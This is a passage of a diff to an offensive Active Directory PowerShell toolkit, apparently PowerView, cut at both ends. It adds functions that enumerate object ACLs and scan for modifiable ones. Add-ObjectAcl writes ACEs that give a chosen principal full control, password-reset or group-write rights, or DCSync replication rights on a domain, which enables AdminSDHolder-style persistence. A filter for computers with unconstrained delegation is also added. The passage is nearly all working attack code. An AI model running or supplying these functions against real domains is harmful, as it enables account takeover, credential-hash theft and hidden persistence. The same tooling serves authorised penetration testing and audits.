Useful for OU queries. - .PARAMETER AdminCount + .PARAMETER ADSprefix - Switch. Return group with adminCount=1. + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") - .PARAMETER FullData + .PARAMETER RightsFilter - Switch. Return full group objects instead of just object names (the default). + Only return results with the associated rights, "All", "ResetPassword","WriteMembers" - .PARAMETER RawSids + .PARAMETER Domain - Switch. Return raw SIDs when using "Get-NetGroup -UserName X" + The domain to use for the query, defaults to the current domain. - .PARAMETER PageSize + .PARAMETER DomainController - The PageSize to set for the LDAP searcher object. + Domain controller to reflect LDAP queries through. - .PARAMETER Credential + .PARAMETER PageSize - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + The PageSize to set for the LDAP searcher object. .EXAMPLE - PS C:\> Get-NetGroup + PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local - Returns the current groups in the domain. + Get the ACLs for the matt.admin user in the testlab.local domain .EXAMPLE - PS C:\> Get-NetGroup -GroupName *admin* + PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs - Returns all groups with "admin" in their group name. + Get the ACLs for the matt.admin user in the testlab.local domain and + resolve relevant GUIDs to their display names. .EXAMPLE - PS C:\> Get-NetGroup -Domain testing -FullData - - Returns full group data objects in the 'testing' domain + PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs + + Enumerate the ACL permissions for all OUs in the domain. #> [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] + Param ( + [Parameter(ValueFromPipelineByPropertyName=$True)] [String] - $GroupName = '*', + $SamAccountName, + [Parameter(ValueFromPipelineByPropertyName=$True)] [String] - $SID, + $Name = "*", + [Parameter(ValueFromPipelineByPropertyName=$True)] [String] - $UserName, + $DistinguishedName = "*", + + [Switch] + $ResolveGUIDs, [String] $Filter, - [String] - $Domain, - - [String] - $DomainController, - [String] $ADSpath, - [Switch] - $AdminCount, + [String] + $ADSprefix, - [Switch] - $FullData, + [String] + [ValidateSet("All","ResetPassword","WriteMembers")] + $RightsFilter, - [Switch] - $RawSids, + [String] + $Domain, + + [String] + $DomainController, [ValidateRange(1,10000)] [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential + $PageSize = 200 ) begin { - $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize + + # get a GUID -> name mapping + if($ResolveGUIDs) { + $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize + } } process { - if($GroupSearcher) { - - if($AdminCount) { - Write-Verbose "Checking for adminCount=1" - $Filter += "(admincount=1)" - } - if ($UserName) { - # get the raw user object - $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize + if ($Searcher) { - # convert the user to a directory entry - $UserDirectoryEntry = $User.GetDirectoryEntry() + if($SamAccountName) { + $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" + } + else { + $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" + } + + try { + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Object = [adsi]($_.path) - # cause the cache to calculate the token groups for the user - $UserDirectoryEntry.RefreshCache("tokenGroups") + if($Object.distinguishedname) { + $Access = $Object.PsBase.ObjectSecurity.access + $Access | ForEach-Object { + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] - $UserDirectoryEntry.TokenGroups | ForEach-Object { - # convert the token group sid - $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value - - # ignore the built in users and default domain user group - if(!($GroupSid -match '^S-1-5-32-545|-513$')) { - if($FullData) { - $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential - $Group.PSObject.TypeNames.Add('PowerView.Group') - $Group - } - else { - if($RawSids) { - $GroupSid + if($Object.objectsid[0]){ + $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value } else { - Convert-SidToName $GroupSid + $S = $Null } + + $_ | Add-Member NoteProperty 'ObjectSID' $S + $_ } } - } - } - else { - if ($SID) { - $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" - } - else { - $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" - } - - $Results = $GroupSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # if we're returning full data objects - if ($FullData) { - # convert/process the LDAP fields for each result - $Group = Convert-LDAPProperty -Properties $_.Properties - $Group.PSObject.TypeNames.Add('PowerView.Group') - $Group + } | ForEach-Object { + if($RightsFilter) { + $GuidFilter = Switch ($RightsFilter) { + "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } + "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } + Default { "00000000-0000-0000-0000-000000000000"} + } + if($_.ObjectType -eq $GuidFilter) { $_ } } else { - # otherwise we're just returning the group name - $_.properties.samaccountname + $_ + } + } | ForEach-Object { + if($GUIDs) { + # if we're resolving GUIDs, map them them to the resolved hash table + $AclProperties = @{} + $_.psobject.properties | ForEach-Object { + if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) { + try { + $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()] + } + catch { + $AclProperties[$_.Name] = $_.Value + } + } + else { + $AclProperties[$_.Name] = $_.Value + } + } + New-Object -TypeName PSObject -Property $AclProperties } + else { $_ } } $Results.dispose() - $GroupSearcher.dispose() + $Searcher.dispose() + } + catch { + Write-Warning $_ } } } } -function Get-NetGroupMember { +function Add-ObjectAcl { <# .SYNOPSIS - This function users [ADSI] and LDAP to query the current AD context - or trusted domain for users in a specified group. If no GroupName is - specified, it defaults to querying the "Domain Admins" group. - This is a replacement for "net group 'name' /domain" + Adds an ACL for a specific active directory object. + + AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3) + https://adsecurity.org/?p=1906 - .PARAMETER GroupName + ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects. - The group name to query for users. + 'ResetPassword' doesn't need to know the user's current password + 'WriteMembers' allows for the modification of group membership - .PARAMETER SID + .PARAMETER TargetSamAccountName - The Group SID to query for users. If not given, it defaults to 512 "Domain Admins" + Target object name to filter for. - .PARAMETER Filter + .PARAMETER TargetName - A customized ldap filter string to use, e.g. "(description=*admin*)" + Target object name to filter for. - .PARAMETER Domain + .PARAMETER TargetDistinguishedName - The domain to query for group users, defaults to the current domain. + Target object distinguished name to filter for. - .PARAMETER DomainController + .PARAMETER TargetFilter - Domain controller to reflect LDAP queries through. + A customized ldap filter string to use to find a target, e.g. "(description=*admin*)" - .PARAMETER ADSpath + .PARAMETER TargetADSpath - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. + The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - .PARAMETER FullData + .PARAMETER TargetADSprefix - Switch. Returns full data objects instead of just group/users. + Prefix to set for the target searcher (like "CN=Sites,CN=Configuration") - .PARAMETER Recurse + .PARAMETER PrincipalSID - Switch. If the group member is a group, recursively try to query its members as well. + The SID of the principal object to add for access. - .PARAMETER UseMatchingRule + .PARAMETER PrincipalName - Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified. - Much faster than manual recursion, but doesn't reveal cross-domain groups. + The name of the principal object to add for access. - .PARAMETER PageSize + .PARAMETER PrincipalSamAccountName - The PageSize to set for the LDAP searcher object. + The samAccountName of the principal object to add for access. - .PARAMETER Credential + .PARAMETER Rights - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync" + + .PARAMETER Domain + + The domain to use for the target query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. .EXAMPLE - PS C:\> Get-NetGroupMember - - Returns the usernames that of members of the "Domain Admins" domain group. + Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john + + Grants 'john' all full access rights to the 'matt' account. .EXAMPLE - PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users" - - Returns the usernames that of members of the "Power Users" group in the 'testing' domain. + Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword + + Grants 'john' the right to reset the password for the 'matt' account. .LINK - http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ + https://adsecurity.org/?p=1906 + + https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell #> [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] + Param ( [String] - $GroupName, + $TargetSamAccountName, [String] - $SID, + $TargetName = "*", + [Alias('DN')] [String] - $Domain, + $TargetDistinguishedName = "*", [String] - $DomainController, + $TargetFilter, [String] - $ADSpath, + $TargetADSpath, - [Switch] - $FullData, + [String] + $TargetADSprefix, - [Switch] - $Recurse, + [String] + [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')] + $PrincipalSID, - [Switch] - $UseMatchingRule, + [String] + $PrincipalName, + + [String] + $PrincipalSamAccountName, + + [String] + [ValidateSet("All","ResetPassword","WriteMembers","DCSync")] + $Rights = "All", + + [String] + $RightsGUID, + + [String] + $Domain, + + [String] + $DomainController, [ValidateRange(1,10000)] [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential + $PageSize = 200 ) begin { - if($DomainController) { - $TargetDomainController = $DomainController - } - else { - $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name - } + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize - if($Domain) { - $TargetDomain = $Domain + if($PrincipalSID) { + $ResolvedPrincipalSID = $PrincipalSID } else { - $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name + $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize + + if(!$Principal) { + throw "Error resolving principal" + } + $ResolvedPrincipalSID = $Principal.objectsid + } + if(!$ResolvedPrincipalSID) { + throw "Error resolving principal" } - - # so this isn't repeated if users are passed on the pipeline - $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { - if ($GroupSearcher) { - if ($Recurse -and $UseMatchingRule) { - # resolve the group to a distinguishedname - if ($GroupName) { - $Group = Get-NetGroup -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize - } - elseif ($SID) { - $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize - } - else { - # default to domain admins - $SID = (Get-DomainSID -Domain $TargetDomain -Credential $Credential) + "-512" - $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize - } - $GroupDN = $Group.distinguishedname - $GroupFoundName = $Group.name - if ($GroupDN) { - $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)" - $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath')) + if ($Searcher) { - $Members = $GroupSearcher.FindAll() - $GroupFoundName = $GroupName - } - else { - Write-Error "Unable to find Group" - } + if($TargetSamAccountName) { + $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" } else { - if ($GroupName) { - $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" - } - elseif ($SID) { - $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" - } - else { - # default to domain admins - $SID = (Get-DomainSID -Domain $TargetDomain -Credential $Credential) + "-512" - $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" - } - - try { - $Result = $GroupSearcher.FindOne() - } - catch { - $Members = @() - } - - $GroupFoundName = '' - - if ($Result) { - $Members = $Result.properties.item("member") - - if($Members.count -eq 0) { + $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" + } + + try { + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { - $Finished = $False - $Bottom = 0 - $Top = 0 + # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects - while(!$Finished) { - $Top = $Bottom + 1499 - $MemberRange="member;range=$Bottom-$Top" - $Bottom += 1500 - - $GroupSearcher.PropertiesToLoad.Clear() - [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange") - [void]$GroupSearcher.PropertiesToLoad.Add("name") - try { - $Result = $GroupSearcher.FindOne() - $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" - $Members += $Result.Properties.item($RangedProperty) - $GroupFoundName = $Result.properties.item("name")[0] + $TargetDN = $_.Properties.distinguishedname - if ($Members.count -eq 0) { - $Finished = $True - } - } - catch [System.Management.Automation.MethodInvocationException] { - $Finished = $True - } - } - } - else { - $GroupFoundName = $Result.properties.item("name")[0] - $Members += $Result.Properties.item($RangedProperty) - } - } - $GroupSearcher.dispose() - } + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID) + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None" + $ControlType = [System.Security.AccessControl.AccessControlType] "Allow" + $ACEs = @() - $Members | Where-Object {$_} | ForEach-Object { - # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion - if ($Recurse -and $UseMatchingRule) { - $Properties = $_.Properties - } - else { - if($TargetDomainController) { - $Result = [adsi]"LDAP://$TargetDomainController/$_" + if($RightsGUID) { + $GUIDs = @($RightsGUID) } else { - $Result = [adsi]"LDAP://$_" - } - if($Result){ - $Properties = $Result.Properties + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } + # allows for the modification of group membership + "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"} + } } - } - - if($Properties) { - - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype - if ($FullData) { - $GroupMember = Convert-LDAPProperty -Properties $Properties + if($GUIDs) { + foreach($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight" + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType + } } else { - $GroupMember = New-Object PSObject + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll" + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType } - $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain - $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)" try { - $MemberDN = $Properties.distinguishedname[0] - - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + # add all the new ACEs to the specified object + ForEach ($ACE in $ACEs) { + Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)" + $Object = [adsi]($_.path) + $Object.PsBase.ObjectSecurity.AddAccessRule($ACE) + $Object.PsBase.commitchanges() + } } catch { - $MemberDN = $Null - $MemberDomain = $Null + Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_" } + } + $Results.dispose() + $Searcher.dispose() + } + catch { + Write-Warning "Error: $_" + } + } + } +} - if ($Properties.samaccountname) { - # forest users have the samAccountName set - $MemberName = $Properties.samaccountname[0] - } - else { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $Properties.cn[0] - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $Properties.cn - } - } - - if($Properties.objectSid) { - $MemberSid = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value) - } - else { - $MemberSid = $Null - } - $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain - $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName - $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid - $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup - $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN - $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember') - $GroupMember +function Invoke-ACLScanner { +<# + .SYNOPSIS + Searches for ACLs for specifable AD objects (default to all domain objects) + with a domain sid of > -1000, and have modifiable rights. - # if we're doing manual recursion - if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { - if($FullData) { - Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize - } - else { - Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize - } - } - } + Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. - } - } - } -} + .PARAMETER SamAccountName + Object name to filter for. -function Get-NetFileServer { -<# - .SYNOPSIS + .PARAMETER Name - Returns a list of all file servers extracted from user - homedirectory, scriptpath, and profilepath fields. + Object name to filter for. + + .PARAMETER DistinguishedName + + Object distinguished name to filter for. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") .PARAMETER Domain - The domain to query for user file servers, defaults to the current domain. + The domain to use for the query, defaults to the current domain. .PARAMETER DomainController Domain controller to reflect LDAP queries through. - .PARAMETER TargetUsers + .PARAMETER ResolveGUIDs - An array of users to query for file servers. + Switch. Resolve GUIDs to their display names. .PARAMETER PageSize The PageSize to set for the LDAP searcher object. - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - .EXAMPLE - PS C:\> Get-NetFileServer - - Returns active file servers. - - .EXAMPLE + PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv - PS C:\> Get-NetFileServer -Domain testing - - Returns active file servers for the 'testing' domain. + Enumerate all modifable ACLs in the current domain, resolving GUIDs to display + names, and export everything to a .csv #> [CmdletBinding()] - param( + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SamAccountName, + + [String] + $Name = "*", + + [Alias('DN')] + [String] + $DistinguishedName = "*", + + [String] + $Filter, + + [String] + $ADSpath, + + [String] + $ADSprefix, + [String] $Domain, [String] $DomainController, - [String[]] - $TargetUsers, + [Switch] + $ResolveGUIDs, [ValidateRange(1,10000)] [Int] - $PageSize = 200, + $PageSize = 200 + ) - [Management.Automation.PSCredential] - $Credential + # Get all domain ACLs with the appropriate parameters + Get-ObjectACL @PSBoundParameters | ForEach-Object { + # add in the translated SID for the object identity + $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value) + $_ + } | Where-Object { + # check for any ACLs with SIDs > -1000 + try { + # TODO: change this to a regex for speedup? + [int]($_.IdentitySid.split("-")[-1]) -ge 1000 + } + catch {} + } | Where-Object { + # filter for modifiable rights + ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow")) + } +} + + +filter Get-GUIDMap { +<# + .SYNOPSIS + + Helper to build a hash table of [GUID] -> resolved names + + Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .LINK + + http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 ) - function SplitPath { - # short internal helper to split UNC server paths - param([String]$Path) + $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} - if ($Path -and ($Path.split("\\").Count -ge 3)) { - $Temp = $Path.split("\\")[2] - if($Temp -and ($Temp -ne '')) { - $Temp + $SchemaPath = (Get-NetForest).schema.name + + $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize + if($SchemaSearcher) { + $SchemaSearcher.filter = "(schemaIDGUID=*)" + try { + $Results = $SchemaSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + # convert the GUID + $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] } + $Results.dispose() + $SchemaSearcher.dispose() + } + catch { + Write-Verbose "Error in building GUID map: $_" } } - Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize | Where-Object {$_} | Where-Object { - # filter for any target users - if($TargetUsers) { - $TargetUsers -Match $_.samAccountName - } - else { $True } - } | ForEach-Object { - # split out every potential file server path - if($_.homedirectory) { - SplitPath($_.homedirectory) - } - if($_.scriptpath) { - SplitPath($_.scriptpath) - } - if($_.profilepath) { - SplitPath($_.profilepath) + $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential + if ($RightsSearcher) { + $RightsSearcher.filter = "(objectClass=controlAccessRight)" + try { + $Results = $RightsSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + # convert the GUID + $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] } + $Results.dispose() + $RightsSearcher.dispose() + } + catch { + Write-Verbose "Error in building GUID map: $_" + } + } - } | Where-Object {$_} | Sort-Object -Unique + $GUIDs } -function Get-DFSshare { +function Get-NetComputer { <# .SYNOPSIS - Returns a list of all fault-tolerant distributed file - systems for a given domain. + This function utilizes adsisearcher to query the current AD context + for current computer objects. Based off of Carlos Perez's Audit.psm1 + script in Posh-SecMod (link below). - .PARAMETER Version + .PARAMETER ComputerName - The version of DFS to query for servers. - 1/v1, 2/v2, or all + Return computers with a specific name, wildcards accepted. + + .PARAMETER SPN + + Return computers with a specific service principal name, wildcards accepted. + + .PARAMETER OperatingSystem + + Return computers with a specific operating system, wildcards accepted. + + .PARAMETER ServicePack + + Return computers with a specific service pack, wildcards accepted. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Printers + + Switch. Return only printers. + + .PARAMETER Ping + + Switch. Ping each host to ensure it's up before enumerating. + + .PARAMETER FullData + + Switch. Return full computer objects instead of just system names (the default). .PARAMETER Domain - The domain to query for user DFS shares, defaults to the current domain. + The domain to query for computers, defaults to the current domain. .PARAMETER DomainController @@ -3029,6 +3864,14 @@ function Get-DFSshare { The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. + + .PARAMETER SiteName + + The AD Site name to search for computers. + + .PARAMETER Unconstrained + + Switch. Return computer objects that have unconstrained delegation. .PARAMETER PageSize @@ -3041,22 +3884,60 @@ function Get-DFSshare { .EXAMPLE - PS C:\> Get-DFSshare + PS C:\> Get-NetComputer + + Returns the current computers in current domain. - Returns all distributed file system shares for the current domain. + .EXAMPLE + + PS C:\> Get-NetComputer -SPN mssql* + + Returns all MS SQL servers on the domain. .EXAMPLE - PS C:\> Get-DFSshare -Domain test + PS C:\> Get-NetComputer -Domain testing + + Returns the current computers in 'testing' domain. - Returns all distributed file system shares for the 'test' domain. -#> + .EXAMPLE - [CmdletBinding()] - param( + PS C:\> Get-NetComputer -Domain testing -FullData + + Returns full computer objects in the 'testing' domain. + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] [String] - [ValidateSet("All","V1","1","V2","2")] - $Version = "All", + $ComputerName = '*', + + [String] + $SPN, + + [String] + $OperatingSystem, + + [String] + $ServicePack, + + [String] + $Filter, + + [Switch] + $Printers, + + [Switch] + $Ping, + + [Switch] + $FullData, [String] $Domain, @@ -3067,6 +3948,12 @@ function Get-DFSshare { [String] $ADSpath, + [String] + $SiteName, + + [Switch] + $Unconstrained, + [ValidateRange(1,10000)] [Int] $PageSize = 200, @@ -3075,598 +3962,519 @@ function Get-DFSshare { $Credential ) - function Parse-Pkt { - [CmdletBinding()] - param( - [byte[]] - $Pkt - ) + begin { + # so this isn't repeated if multiple computer names are passed on the pipeline + $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential + } - $bin = $Pkt - $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) - $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) - $offset = 8 - #https://msdn.microsoft.com/en-us/library/cc227147.aspx - $object_list = @() - for($i=1; $i -le $blob_element_count; $i++){ - $blob_name_size_start = $offset - $blob_name_size_end = $offset + 1 - $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + process { - $blob_name_start = $blob_name_size_end + 1 - $blob_name_end = $blob_name_start + $blob_name_size - 1 - $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + if ($CompSearcher) { - $blob_data_size_start = $blob_name_end + 1 - $blob_data_size_end = $blob_data_size_start + 3 - $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + # if we're checking for unconstrained delegation + if($Unconstrained) { + Write-Verbose "Searching for computers with for unconstrained delegation" + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" + } + # set the filters for the seracher if it exists + if($Printers) { + Write-Verbose "Searching for printers" + # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)" + $Filter += "(objectCategory=printQueue)" + } + if($SPN) { + Write-Verbose "Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" + } + if($OperatingSystem) { + $Filter += "(operatingsystem=$OperatingSystem)" + } + if($ServicePack) { + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + if($SiteName) { + $Filter += "(serverreferencebl=$SiteName)" + } - $blob_data_start = $blob_data_size_end + 1 - $blob_data_end = $blob_data_start + $blob_data_size - 1 - $blob_data = $bin[$blob_data_start..$blob_data_end] - switch -wildcard ($blob_name) { - "\siteroot" { } - "\domainroot*" { - # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... - # DFSRootOrLinkIDBlob - $root_or_link_guid_start = 0 - $root_or_link_guid_end = 15 - $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] - $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str - $prefix_size_start = $root_or_link_guid_end + 1 - $prefix_size_end = $prefix_size_start + 1 - $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) - $prefix_start = $prefix_size_end + 1 - $prefix_end = $prefix_start + $prefix_size - 1 - $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + $CompFilter = 